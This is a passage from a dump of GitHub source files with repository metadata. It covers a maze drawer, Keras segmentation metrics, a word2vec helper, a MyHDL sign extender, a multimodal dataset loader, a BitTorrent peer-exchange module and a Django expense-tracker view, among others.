self.cell_dim[0], btop)],\n fill=self.color,\n width=self.border_thickness)\n\n for path in cell.path_neighbors():\n center = (left + self.cell_dim[0] / 2, top + self.cell_dim[1] / 2)\n\n if path == cell.top:\n pen.line([center,\n (center[0], center[1] - self.cell_dim[1])],\n fill=self.path_color,\n width=self.border_thickness)\n elif path == cell.bottom:\n pen.line([center,\n (center[0], center[1] + self.cell_dim[1])],\n fill=self.path_color,\n width=self.border_thickness)\n elif path == cell.right:\n pen.line([center,\n (center[0] + self.cell_dim[0], center[1])],\n fill=self.path_color,\n width=self.border_thickness)\n elif path == cell.left:\n pen.line([center,\n (center[0] - self.cell_dim[0], center[1])],\n fill=self.path_color,\n width=self.border_thickness)\n\n del pen\n if not os.path.exists(os.path.dirname(self.file_path)):\n os.makedirs(os.path.dirname(self.file_path))\n im.save(self.file_path, \"PNG\")\n","repo_name":"objcode/mz2","sub_path":"mz2/png_drawer.py","file_name":"png_drawer.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"19483756910","text":"from Robot import Robot\nfrom Fixture import Fixture\n\n\n# 7 o 8 robots en total\ndef main():\n robots = [Robot(\"Ultron\", \"Los Avengers\",\"Nick Fury\"),\n\t Robot(\"Wall-e\",\"Pixar\",\"Sr. Disney\"),\n\t Robot(\"Sony\",\"R&H Mecanicos\",\"Dt. Spooner\"),\n\t Robot(\"Robocop\",\"O.C.P.\",\"Bob Morthon\"),\n\t Robot(\"Terminator\",\"Skynet\",\"Jhon Connor\"),\n\t Robot(\"R2-D2\",\"La Republica\",\"Obiwan Kenobi\"),\n\t Robot(\"3-CPO\",\"La Republica\",\"Anakin Skywalker\"),\n\t Robot(\"BB-8\",\"La Republica\",\"Poe Dameron\")] \n\n fixture = Fixture(robots)\n fixture.ronda()\n for encuentro in fixture.encuentros(0):\n print(encuentro)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"pablo1n7/fixture-robots","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4138998981","text":"# https://leetcode-cn.com/problems/is-subsequence/\r\n\r\n\"\"\"\r\n给定字符串 s 和 t ,判断 s 是否为 t 的子序列。\r\n你可以认为 s 和 t 中仅包含英文小写字母。字符串 t 可能会很长(长度 ~= 500,000),而 s 是个短字符串(长度 <=100)。\r\n字符串的一个子序列是原始字符串删除一些(也可以不删除)字符而不改变剩余字符相对位置形成的新字符串。(例如,\"ace\"是\"abcde\"的一个子序列,而\"aec\"不是)。\r\n\r\n示例 1:s = \"abc\", t = \"ahbgdc\" 返回 true.\r\n\r\n示例 2:s = \"axc\", t = \"ahbgdc\" 返回 false.\r\n\"\"\"\r\n\r\n#满足无后效性,只需要考虑当前的情况\r\n#满足从局部最优到全局最优\r\nclass Solution:\r\n def isSubsequence(self, s: str, t: str) -> bool:\r\n i,j = 0,0\r\n while i < len(s):\r\n tmp_s = s[i]\r\n while j < len(t):\r\n tmp_t = t[j]\r\n if tmp_s == tmp_t:\r\n i = i + 1\r\n j = j + 1\r\n break\r\n else:\r\n j = j + 1\r\n if j == len(t) and i < len(s):\r\n return False\r\n\r\n return len(s) == i\r\n\r\nif __name__ == \"__main__\":\r\n s = \"axc\"\r\n t = \"ahbgdc\"\r\n solution = Solution()\r\n result = solution.isSubsequence(s,t)\r\n print(result)\r\n\r\n\r\n\r\n","repo_name":"alpharol/algorithm_python3","sub_path":"leetcode/0301-0400/0392.判断子序列.py","file_name":"0392.判断子序列.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"35639716743","text":"import keras.backend as K\n\nsmoothing_factor = 1e-6\n\n# Function to evaluate specific tissue (class) dice index\nclass tissue_dice(object):\n def __init__(self, class_id, tissue_name):\n self.class_id = class_id\n self.__name__ = tissue_name\n\n # returns calculated tissue dice when called\n def __call__(self, y_true, y_pred):\n return self.tissue_dice(y_true, y_pred)\n\n # calculates tissue dice in Keras\n def tissue_dice(self, y_true, y_pred):\n class_id_true = K.argmax(y_true, axis=-1)\n class_id_preds = K.argmax(y_pred, axis=-1)\n # calculates dice from true and predicted labels\n y_true_f = K.cast(K.equal(class_id_true, self.class_id), 'float32')\n y_pred_f = K.cast(K.equal(class_id_preds, self.class_id), 'float32')\n intersection = K.sum(y_true_f * y_pred_f)\n return (2.0 * intersection + smoothing_factor) / (K.sum(y_true_f) + K.sum(y_pred_f) + smoothing_factor)\n\n\n# Function to evaluate specific tissue (class) accuracy index\nclass tissue_accuracy(object):\n def __init__(self, class_id, tissue_name):\n self.class_id = class_id\n self.__name__= tissue_name\n\n # returns calculated tissue accuracy when called\n def __call__(self, y_true, y_pred):\n return self.tissue_calc( y_true, y_pred)\n\n # calculates tissue accuracy in Keras\n def tissue_calc(self, y_true, y_pred):\n class_id_true = K.argmax(y_true, axis=-1)\n class_id_preds = K.argmax(y_pred, axis=-1)\n\n accuracy_mask = K.cast(K.equal(class_id_preds, self.class_id), 'int32')\n class_acc_tensor = K.cast(K.equal(class_id_true, class_id_preds), 'int32')*accuracy_mask\n class_acc = K.sum(class_acc_tensor)/K.maximum(K.sum(accuracy_mask),1)\n return class_acc\n\n\n# Function which computes dice coefficient between two segmentations\ndef dice_coefficient(y_true, y_pred):\n smoothing_factor = 1e-5\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n intersection = K.sum(y_true_f * y_pred_f)\n return (2.0 * intersection + smoothing_factor) / (K.sum(y_true_f) + K.sum(y_pred_f) + smoothing_factor)\n\n# Computation of dice loss\ndef loss_dice_coefficient_error(y_true, y_pred):\n return -dice_coefficient(y_true, y_pred)\n\n# function to calculate recall considering predicted and true labels\ndef recall(y_true, y_pred):\n true_positives = K.sum(K.round(K.clip(y_true*y_pred,0,1)))\n possible_positives = K.sum(K.round(K.clip(y_true,0,1)))\n recall = true_positives / (possible_positives + K.epsilon())\n return recall\n\n# function to calculate precision considering predicted and true labels\ndef precision(y_true, y_pred):\n true_positives = K.sum(K.round(K.clip(y_true *y_pred,0,1)))\n predicted_positives = K.sum(K.round(K.clip(y_pred,0,1)))\n precision = true_positives / (predicted_positives + K.epsilon())\n return precision\n\n# Weighted dice coefficient calculation for convenient network optimization under unbalanced classes.\ndef weighted_dice_coefficient(y_true, y_pred, axis=(0, 1, 2, 3), smooth=1e-5):\n \"\"\"\n Weighted dice coefficient. Default axis assumes a \"channels first\" data structure\n :param smooth:\n :param y_true:\n :param y_pred:\n :param axis:\n :return:\n \"\"\"\n return K.mean(2. * (K.sum(y_true * y_pred,\n axis=axis) + smooth/2)/(K.sum(y_true,\n axis=axis) + K.sum(y_pred,\n axis=axis) + smooth))\n# Weighted dice coefficient as loss function\ndef weighted_dice_coefficient_loss(y_true, y_pred):\n return -weighted_dice_coefficient(y_true, y_pred)\n\n\ndef tversky_loss(y_true, y_pred):\n\n alpha = 0.5\n beta = 0.5\n \n ones = K.ones(K.shape(y_true))\n p0 = y_pred # proba that voxels are class i\n p1 = ones-y_pred # proba that voxels are not class i\n g0 = y_true\n g1 = ones-y_true\n \n num = K.sum(p0*g0, (0, 1, 2, 3))\n den = num + alpha*K.sum(p0*g1,(0, 1, 2, 3)) + beta*K.sum(p1*g0,(0 ,1 ,2 ,3))\n \n T = K.sum(num/den) # when summing over classes, T has dynamic range [0 Ncl]\n \n Ncl = K.cast(K.shape(y_true)[-1], 'float32')\n\n return Ncl-T","repo_name":"ivanco-uth/stroke_seg","sub_path":"aux_metrics.py","file_name":"aux_metrics.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70323527472","text":"import matplotlib.pyplot as plt\n\n\nclass SentimentPlotter:\n\n def __init__(self, data, title, x_label, y_label=\"Number of Comments\", display_number=10):\n self.data = data\n self.title = title\n self.x_label = x_label\n self.y_label = y_label\n self.display_number = display_number\n\n\n def plot(self):\n try:\n x = self.data.keys()\n y = self.data.values()\n\n plt.bar(x,y,align='center')\n plt.title(self.title)\n plt.xlabel(self.x_label)\n plt.ylabel(self.y_label)\n\n plt.show()\n except Exception as e:\n print(e)\n","repo_name":"Chad-Mowbray/survey-analyzer","sub_path":"components/plotters/SentimentPlotter.py","file_name":"SentimentPlotter.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"32224358176","text":"import gensim\nimport numpy as np\n##return vector lists\ndef getSim(model, query, topk): \n \n #model=gensim.models.Word2Vec.load(\"/home/trec/liujinlong/word2vec_withoutstem/trec_withoutstem\")\n wordArray = model.most_similar(query,topn=topk )\n #print (wordArray) \n \n #print (wordarray)#[('princess', 0.8159459829330444), ('empress', 0.7777712345123291)...]\n\n #print (model[wordarray[0][0]]) \n\n QEList = np.zeros((topk,100))\n i = 0\n for temp in wordArray:\n QEList[i] = model[temp[0]]\n i += 1 \n return QEList\n \n##return vector lists\ndef getSimFromVector(model, vector, topk):\n #model=gensim.models.Word2Vec.load(\"/home/trec/liujinlong/word2vec_withoutstem/trec_withoutstem\")\n wordArray = model.most_similar(positive=[vector],topn=topk)\n #print (wordArray) \n \n QEList = np.zeros((topk,100))\n i = 0\n for temp in wordArray:\n QEList[i] = model[temp[0]] \n i += 1\n return QEList\n\n \ndef getWordByVector(model, vector):\n #model=gensim.models.Word2Vec.load(\"/home/trec/liujinlong/word2vec_withoutstem/trec_withoutstem\")\n word = model.most_similar(positive=[queen_vec],topn=1)\n return word[0][0]\n \n \n \n#model=gensim.models.Word2Vec.load(\"/home/trec/liujinlong/word2vec/trec\")\n#print(model.similarity(tem('beauty')))\n\n#print(model.most_similar(positive=['woman', 'king'], negative=['man']))\n#queen_vec=model['queen']\n#print(model.most_similar(positive=[queen_vec],topn=2))\n\n#print(model[stem('beautiful')])\n# 可以考虑函数多一个参数,model,这样每次函数操作的时候,只用读入一次,\n# 不用进行额外的文件IO\n\nif __name__ == \"__main__\":\n \n model=gensim.models.Word2Vec.load(\"/home/trec/liujinlong/word2vec_withoutstem/trec_withoutstem\")\n print (getSim(model,'queen',5)[0])\n print ('-----------------')\n \n queen_vec=model['queen']\n print (getSimFromVector(model,queen_vec,5)[0])\n print ('-----------------')\n \n print (getWordByVector(model,queen_vec))\n \n\n\n\n\n","repo_name":"liyingjiao02/trecFinalProject","sub_path":"python/test_sim.py","file_name":"test_sim.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"8257434649","text":"import os\nfrom LabQueue.qp import qp, fakeqp\nfrom LabUtils.addloglevels import sethandlers\nfrom LabData.DataAnalyses.MBSNPs import mwas_annots\n\n# parameters\nbase_dir = '/net/mraid08/export/jafar/Microbiome/Analyses/saar/antibiotics/10K/within'\nmaf_template = '/net/mraid08/export/jafar/Microbiome/Analyses/saar/antibiotics/Cache/global_mafs/all_data/mb_snp_g_maf_{}_R1_S500.h5'\n\nmwas_file_path = os.path.join(base_dir, 'mb_gwas_significant.h5')\n# mwas_file_path = os.path.join(base_dir, 'raw_hdfs', 'mb_gwas_Rep_*_Rep_*.h5')\n\njobs_path = os.path.join(base_dir, 'jobs')\n\n\n# run\nos.chdir(jobs_path)\nsethandlers()\n\nwith qp(jobname='annot', _delete_csh_withnoerr=False, q=['himem7.q'], max_r=1, _mem_def='20G') as q:\n q.startpermanentrun()\n\n snps = q.method(mwas_annots.run, (mwas_file_path, base_dir, 'Gut', maf_template))\n q.waitforresult(snps)\n","repo_name":"saarshoer/saars_lab_code","sub_path":"UseCases/antibiotics/annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5194850889","text":"#Embedded file name: ACEStream\\Core\\DecentralizedTracking\\ut_pex.pyo\n__fool_epydoc = 481\nimport sys\nfrom types import DictType, StringType\nfrom ACEStream.Core.BitTornado.BT1.track import compact_peer_info\nfrom ACEStream.Core.BitTornado.bencode import bencode\nEXTEND_MSG_UTORRENT_PEX_ID = chr(1)\nEXTEND_MSG_UTORRENT_PEX = 'ut_pex'\nDEBUG = False\n\ndef create_ut_pex(addedconns, droppedconns, thisconn):\n addedconns = addedconns[:50]\n droppedconns = droppedconns[:50]\n d = {}\n compactedpeerstr = compact_connections(addedconns, thisconn)\n d['added'] = compactedpeerstr\n flags = ''\n for i in range(len(addedconns)):\n conn = addedconns[i]\n if conn == thisconn:\n continue\n flag = 0\n if conn.get_extend_encryption():\n flag |= 1\n if conn.download is not None and conn.download.peer_is_complete():\n flag |= 2\n if conn.is_tribler_peer():\n flag |= 4\n flags += chr(flag)\n\n d['added.f'] = flags\n compactedpeerstr = compact_connections(droppedconns)\n d['dropped'] = compactedpeerstr\n return bencode(d)\n\n\ndef check_ut_pex(d):\n if type(d) != DictType:\n raise ValueError('ut_pex: not a dict')\n same_apeers = []\n apeers = check_ut_pex_peerlist(d, 'added')\n dpeers = check_ut_pex_peerlist(d, 'dropped')\n if 'added.f' in d:\n addedf = d['added.f']\n if type(addedf) != StringType:\n raise ValueError('ut_pex: added.f: not string')\n if len(addedf) != len(apeers) and not len(addedf) == 0:\n raise ValueError('ut_pex: added.f: more flags than peers')\n addedf = map(ord, addedf)\n for i in range(min(len(apeers), len(addedf)) - 1, -1, -1):\n if addedf[i] & 4:\n same_apeers.append(apeers.pop(i))\n addedf.pop(i)\n\n if DEBUG:\n print >> sys.stderr, 'ut_pex: Got', apeers\n return (same_apeers, apeers, dpeers)\n\n\ndef check_ut_pex_peerlist(d, name):\n if name not in d:\n return []\n peerlist = d[name]\n if type(peerlist) != StringType:\n raise ValueError('ut_pex:' + name + ': not string')\n if len(peerlist) % 6 != 0:\n raise ValueError('ut_pex:' + name + ': not multiple of 6 bytes')\n peers = decompact_connections(peerlist)\n for ip, port in peers:\n if ip == '127.0.0.1':\n raise ValueError('ut_pex:' + name + ': address is localhost')\n\n return peers\n\n\ndef ut_pex_get_conns_diff(currconns, prevconns):\n addedconns = []\n droppedconns = []\n for conn in currconns:\n if conn not in prevconns:\n addedconns.append(conn)\n\n for conn in prevconns:\n if conn not in currconns:\n droppedconns.append(conn)\n\n return (addedconns, droppedconns)\n\n\ndef compact_connections(conns, thisconn = None):\n compactpeers = []\n for conn in conns:\n if conn == thisconn:\n continue\n ip = conn.get_ip()\n port = conn.get_extend_listenport()\n if port is None:\n raise ValueError('ut_pex: compact: listen port unknown?!')\n else:\n compactpeer = compact_peer_info(ip, port)\n compactpeers.append(compactpeer)\n\n compactpeerstr = ''.join(compactpeers)\n return compactpeerstr\n\n\ndef decompact_connections(p):\n peers = []\n for x in xrange(0, len(p), 6):\n ip = '.'.join([ str(ord(i)) for i in p[x:x + 4] ])\n port = ord(p[x + 4]) << 8 | ord(p[x + 5])\n peers.append((ip, port))\n\n return peers\n","repo_name":"alesnav/p2ptv-pi","sub_path":"acestream/ACEStream/Core/DecentralizedTracking/ut_pex.py","file_name":"ut_pex.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"38"} +{"seq_id":"28712700364","text":"import os\nimport random\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom glob import glob\nfrom sklearn.model_selection import train_test_split\nimport pdb\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\n\n__all__ = ['MMDataLoader','MMDataLoader1']\nauthor_ind = None\n\ndef toOneHot(data, size=None):\n '''\n Returns one hot label version of data\n '''\n oneHotData = np.zeros((len(data), size))\n oneHotData[range(len(data)), data] = 1\n\n assert (np.array_equal(data, np.argmax(oneHotData, axis=1)))\n return oneHotData\n\nclass MMDataset(Dataset):\n def __init__(self, args, index, mode='train'):\n self.args = args\n self.mode = mode\n self.index = index\n\n DATA_MAP = {\n 'mosi': self.__init_mosi,\n 'meld': self.__init_meld,\n 'mustard': self.__init_mustard,\n 'sims': self.__init_msaZH\n }\n DATA_MAP[args.datasetName](args)\n\n def __init_meld(self, args):\n with open(args.datapath, 'rb') as f:\n data = pickle.load(f)\n\n # now meld donnot have visual feature\n self.vision = data[self.mode]['audio'].astype(np.float32)\n\n self.text = data[self.mode]['text'].astype(np.float32)\n self.audio = data[self.mode]['audio'].astype(np.float32)\n self.audio[self.audio == -np.inf] = 0\n self.label = {\n 'M': np.array(data[self.mode]['labels']).astype(np.float32)\n }\n if 'need_normalize' in args.keys() and args.need_normalize:\n self.train_visual_max = np.max(np.max(np.abs(data['train']['audio']), axis=0), axis=0)\n self.train_visual_max[self.train_visual_max == 0] = 1\n self.__normalize()\n\n def __init_mosi(self, args):\n with open(args.datapath, 'rb') as f:\n data = pickle.load(f)\n\n self.vision = data[self.mode]['vision'].astype(np.float32)\n\n self.text = data[self.mode]['text'].astype(np.float32)\n self.audio = data[self.mode]['audio'].astype(np.float32)\n self.audio[self.audio == -np.inf] = 0\n self.label = {\n 'M': np.array(data[self.mode]['labels']).astype(np.float32)\n }\n if 'need_normalize' in args.keys() and args.need_normalize:\n self.train_visual_max = np.max(np.max(np.abs(data['train']['vision']), axis=0), axis=0)\n self.train_visual_max[self.train_visual_max == 0] = 1\n self.__normalize()\n\n def __init_mustard(self, args):\n with open(args.datapath, 'rb') as f:\n data = pickle.load(f)\n\n self.text = data['text_final'][self.index[self.mode]]\n self.vision = data['video_final'][self.index[self.mode]]\n self.audio = data['audio_final'][self.index[self.mode]]\n self.audio[self.audio == -np.inf] = 0\n\n if self.args.context :\n self.tcontext = data['text_context'][self.index[self.mode]]\n # pdb.set_trace()\n # for context [CLS] and text [CLS]\n args.csindex = self.tcontext.shape[1]\n self.text = np.concatenate([self.tcontext,self.text],axis=1)\n self.tvision = data['video_context'][self.index[self.mode]]\n self.vision = np.concatenate([self.tvision,self.vision],axis=1)\n self.taudio = data['audio_context'][self.index[self.mode]]\n self.audio = np.concatenate([self.taudio,self.audio],axis=1)\n\n if self.args.speaker :\n all_speakers = np.array(data['speaker_final'])\n train_speakers = all_speakers[self.index[self.mode]]\n global author_ind\n # pdb.set_trace()\n UNK_AUTHOR_ID = author_ind[\"PERSON\"]\n authors = [author_ind.get(author.strip(), UNK_AUTHOR_ID) for author in train_speakers]\n authors_feature = toOneHot(authors, len(author_ind)) # 18 speaker\n self.speaker = authors_feature \n \n\n self.label = {\n 'M': np.array(data['labels'])[self.index[self.mode]]\n }\n\n if 'need_normalize' in args.keys() and args.need_normalize:\n self.train_visual_max = np.max(np.max(np.abs(data['video_final'][self.index['train']]), axis=0), axis=0)\n self.train_visual_max[self.train_visual_max == 0] = 1\n self.__normalize()\n\n def __init_msaZH(self, args):\n data = np.load(args.datapath)\n # 'datapath': '/datasets/CH-SIMS/Processed/features/data.npz'\n self.vision = data['feature_V'][self.index[self.mode]]\n # (2281, 55, 709) 2281片段 55帧画面 709维特征\n # 1368 个训练样本\n self.audio = data['feature_A'][self.index[self.mode]]\n self.text = data['feature_T'][self.index[self.mode]]\n\n self.label = {\n 'M': data['label_M'][self.index[self.mode]],\n 'T': data['label_T'][self.index[self.mode]],\n 'A': data['label_A'][self.index[self.mode]],\n 'V': data['label_V'][self.index[self.mode]]\n }\n\n if 'need_normalize' in args.keys() and args.need_normalize:\n self.train_visual_max = np.max(np.max(np.abs(data['feature_V'][self.index['train']]), axis=0), axis=0)\n self.train_visual_max[self.train_visual_max == 0] = 1\n self.__normalize()\n\n def __normalize(self):\n # (num_examples,max_len,feature_dim) -> (max_len, num_examples, feature_dim)\n self.vision = np.transpose(self.vision, (1, 0, 2))\n self.audio = np.transpose(self.audio, (1, 0, 2))\n # for visual and audio modality, we average across time\n # here the original data has shape (max_len, num_examples, feature_dim)\n # after averaging they become (1, num_examples, feature_dim)\n self.vision = np.mean(self.vision, axis=0, keepdims=True)\n self.audio = np.mean(self.audio, axis=0, keepdims=True)\n\n # remove possible NaN values\n self.vision[self.vision != self.vision] = 0\n self.audio[self.audio != self.audio] = 0\n\n self.vision = np.transpose(self.vision, (1, 0, 2))\n self.audio = np.transpose(self.audio, (1, 0, 2))\n\n def __len__(self):\n # return len(self.labels)\n return len(self.index[self.mode])\n\n def get_seq_len(self):\n return self.text.shape[1], self.audio.shape[1], self.vision.shape[1]\n\n def get_feature_dim(self):\n return self.text.shape[2], self.audio.shape[2], self.vision.shape[2]\n\n def __getitem__(self, index):\n \n if self.args.speaker :\n sample = {\n 'text': torch.Tensor(self.text[index]),\n 'audio': torch.Tensor(self.audio[index]),\n 'vision': torch.Tensor(self.vision[index]),\n 'speaker': torch.Tensor(self.speaker[index]),\n 'labels': {k: torch.Tensor(v[index].reshape(-1)) for k, v in self.label.items()}\n }\n else:\n sample = {\n 'text': torch.Tensor(self.text[index]),\n 'audio': torch.Tensor(self.audio[index]),\n 'vision': torch.Tensor(self.vision[index]),\n 'labels': {k: torch.Tensor(v[index].reshape(-1)) for k, v in self.label.items()}\n }\n\n return sample\n\ndef speaker_dict(args,index,mode):\n with open(args.datapath, 'rb') as f:\n data = pickle.load(f)\n all_speakers = np.array(data['speaker_final'])\n train_speakers = all_speakers[index['train']]\n author_list = set()\n author_list.add(\"PERSON\")\n for author in train_speakers:\n author = author.strip()\n if \"PERSON\" not in author: # PERSON3 PERSON1 all --> PERSON haha\n author_list.add(author)\n\n author_ind = {author: ind for ind, author in enumerate(author_list)}\n\n return author_ind\n\n\ndef MMDataLoader(args):\n if args.datasetName == 'mosi' :\n # 其实有1281个样本,但是剩余的一个因为扩展维度 难以处理。所以舍弃\n train_index = np.arange(1280)\n val_index = np.arange(229)\n test_index = np.arange(685)\n\n if args.datasetName == 'meld' :\n train_index = np.arange(9989)\n val_index = np.arange(1109)\n test_index = np.arange(2610)\n\n if args.datasetName == 'mustard':\n if args.split == 'dep':\n index = args.cur_time - 1\n if args.split == 'our_i':\n index = 5\n if args.split == 'src_i':\n index = 6\n \n test_index = np.array(pd.read_csv(os.path.join(args.label_dir, f'test_index{index}.csv'))).reshape(-1)\n train_index = np.array(pd.read_csv(os.path.join(args.label_dir, f'train_index{index}.csv'))).reshape(-1)\n val_index = np.array(pd.read_csv(os.path.join(args.label_dir, f'test_index{index}.csv'))).reshape(-1)\n\n if args.datasetName == 'sims' :\n test_index = np.array(pd.read_csv(os.path.join(args.label_dir, 'test_index.csv'))).reshape(-1)\n train_index = np.array(pd.read_csv(os.path.join(args.label_dir, 'train_index.csv'))).reshape(-1)\n val_index = np.array(pd.read_csv(os.path.join(args.label_dir, 'val_index.csv'))).reshape(-1)\n\n index = {\n 'train': train_index,\n 'valid': val_index,\n 'test': test_index\n }\n\n # speaker index dict and one hot vector\n if args.speaker:\n global author_ind\n author_ind = speaker_dict(args,index=index,mode='train')\n # pdb.set_trace()\n args.speakers = len(author_ind)\n\n datasets = {\n 'train': MMDataset(args, index=index, mode='train'),\n 'valid': MMDataset(args, index=index, mode='valid'),\n 'test': MMDataset(args, index=index, mode='test')\n }\n\n # because normalize change t,a,v sequence, update args.input_lens\n if 'input_lens' in args.keys():\n args.input_lens = datasets['train'].get_seq_len()\n\n dataLoader = {\n ds: DataLoader(datasets[ds],\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n shuffle=True)\n for ds in datasets.keys()\n }\n\n return dataLoader\n\n\ndef MMDataLoader1(args):\n \"\"\"\n 为了检查测试集分类出错的样本,因此固定测试集的索引顺序\n 重点修改 DataLoader 类\n 数据加载器。组合数据集和采样器,并在数据集上提供单进程或多进程迭代器。\n\n 参数:\n\n dataset (Dataset) – 加载数据的数据集。\n batch_size (int, optional) – 每个batch加载多少个样本(默认: 1)。\n shuffle (bool, optional) – 设置为True时会在每个epoch重新打乱数据(默认: False).\n sampler (Sampler, optional) – 定义从数据集中提取样本的策略。如果指定,则忽略shuffle参数。\n num_workers (int, optional) – 用多少个子进程加载数据。0表示数据将在主进程中加载(默认: 0)\n collate_fn (callable, optional) –\n pin_memory (bool, optional) –\n drop_last (bool, optional) – 如果数据集大小不能被batch size整除,则设置为True后可删除最后一个不完整的batch。\n 如果设为False并且数据集的大小不能被batch size整除,则最后一个batch将更小。(默认: False)\n :param args:\n :return:\n \"\"\"\n if args.datasetName == 'mosi' :\n # 其实有1281个样本,但是剩余的一个因为扩展维度 难以处理。所以舍弃\n train_index = np.arange(1280)\n val_index = np.arange(229)\n test_index = np.arange(685)\n\n if args.datasetName == 'meld' :\n # # data['train']['text'].shape\n # # (9989, 18, 768)\n # # data['valid']['text'].shape\n # # (1109, 17, 768)\n # # data['test']['text'].shape\n # # (2610, 18, 768)\n train_index = np.arange(9989)\n val_index = np.arange(1109)\n test_index = np.arange(2610)\n\n if args.datasetName == 'mustard':\n index = args.cur_time - 1\n test_index = np.array(pd.read_csv(os.path.join(args.label_dir, f'test_index{index}.csv'))).reshape(-1)\n train_index = np.array(pd.read_csv(os.path.join(args.label_dir, f'train_index{index}.csv'))).reshape(-1)\n val_index = np.array(pd.read_csv(os.path.join(args.label_dir, f'test_index{index}.csv'))).reshape(-1)\n\n if args.datasetName == 'sims' :\n test_index = np.array(pd.read_csv(os.path.join(args.label_dir, 'test_index.csv'))).reshape(-1)\n train_index = np.array(pd.read_csv(os.path.join(args.label_dir, 'train_index.csv'))).reshape(-1)\n val_index = np.array(pd.read_csv(os.path.join(args.label_dir, 'val_index.csv'))).reshape(-1)\n\n index = {\n 'train': train_index,\n 'valid': val_index,\n 'test': test_index\n }\n\n datasets = {\n 'train': MMDataset(args, index=index, mode='train'),\n 'valid': MMDataset(args, index=index, mode='valid'),\n 'test': MMDataset(args, index=index, mode='test')\n }\n # because normalize change t,a,v sequence, update args.input_lens\n if 'input_lens' in args.keys():\n args.input_lens = datasets['train'].get_seq_len()\n\n dataLoader = {\n ds: DataLoader(datasets[ds],\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n shuffle=False)\n for ds in datasets.keys()\n }\n\n return dataLoader\n","repo_name":"DingNing123/mmsa","sub_path":"data/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":13255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16392059369","text":"MONGO_URI = 'localhost'\nMONGO_DB = 'images360'\n\nDB_NAME = 'images'\nIMAGE_OBJ = {'id': '2b15246110568c23b2bc732c1723caf6',\n 'thumb': 'https://p0.ssl.qhimgs1.com/sdr/238__/t01c8b7b000cdb7b044.jpg',\n 'title': '高山牧场,沃州,瑞士,欧洲',\n 'url': 'https://p0.ssl.qhimgs1.com/t01c8b7b000cdb7b044.jpg'}\n\nimport pymongo\n\n# 通过MongoDB保存数据\nclass MongoDB(object):\n def __init__(self):\n self.client = pymongo.MongoClient(host='localhost', port=27017)\n self.db = self.client[DB_NAME]\n\n def print_res(self):\n res = self.db['cctv6'].insert(IMAGE_OBJ)\n print(res)\n\nif __name__ == '__main__':\n client = MongoDB()\n client.print_res()\n\n\n\n","repo_name":"yicheny/PyReptile","sub_path":"dbStudy/mongodb.py","file_name":"mongodb.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"18553221351","text":"from myhdl import Signal, intbv, Simulation, StopSimulation, delay, instance, always_comb\n\nimport random\nfrom random import randrange\n\n\ndef sign_extend(val_in, val_out):\n \"\"\"The sign-extend from 16 bit to 32 bit signals\n\n Sign extends from 16 to 32 bit in the 2's complement form. Currently deals with\n unsigned intbv signals.\n\n Arguments:\n val_in : IN the 16-bit input\n val_out : OUT the 32-bit sign extended output \n \n \"\"\"\n\n @always_comb\n def logic():\n if (val_in[15] == True):\n a = (intbv((1 << 32) - 1)[32:16]) << 16\n else:\n a = intbv(0)[32:]\n\n val_out.next = val_in + a\n\n return logic \n\n\n# to check the 2's complement version of an unsigned int\ndef two_c(num, bits = 16):\n test = min(num, (1 << bits) - num)\n if (test == num):\n return test\n else:\n return -test\n\n\ndef test_extend():\n\n val_out = Signal(intbv(32))\n val_in = Signal(intbv(16))\n\n inst = sign_extend(val_in, val_out)\n\n @instance\n def tb_dut():\n\n for ii in range(50):\n\n rand = randrange(2**16)\n val_in.next = rand\n yield delay(10)\n\n exrand = val_out\n\n assert two_c(rand) == two_c(exrand, 32)\n raise StopSimulation\n\n sim = Simulation(inst, tb_dut)\n sim.run()\n\n\n","repo_name":"gcc42/MIPS","sub_path":"mips/core/sign_extend.py","file_name":"sign_extend.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40029474033","text":"from django.shortcuts import redirect, render\n\nfrom app.common.budget import calculate_budget_left\nfrom app.common.profile import get_profile\nfrom app.forms.profiles import ProfileForm\nfrom app.models import Expense, Profile\n\n\ndef profile_index(request):\n profile = get_profile()\n expenses = Expense.objects.all()\n\n profile.budget_left = calculate_budget_left(profile, expenses)\n\n context = {\n 'profile': profile,\n }\n\n return render(request, 'profile.html', context)\n\n\ndef create_profile(request):\n if request.method == 'GET':\n context = {\n 'form': ProfileForm(),\n }\n\n return render(request, 'home-no-profile.html', context)\n else:\n form = ProfileForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('index')\n\n context = {\n 'form': form,\n }\n\n return render(request, 'home-no-profile.html', context)\n\n\ndef edit_profile(request):\n profile = get_profile()\n\n if request.method == 'GET':\n context = {\n 'form': ProfileForm(instance=profile)\n }\n\n return render(request, 'profile-edit.html', context)\n 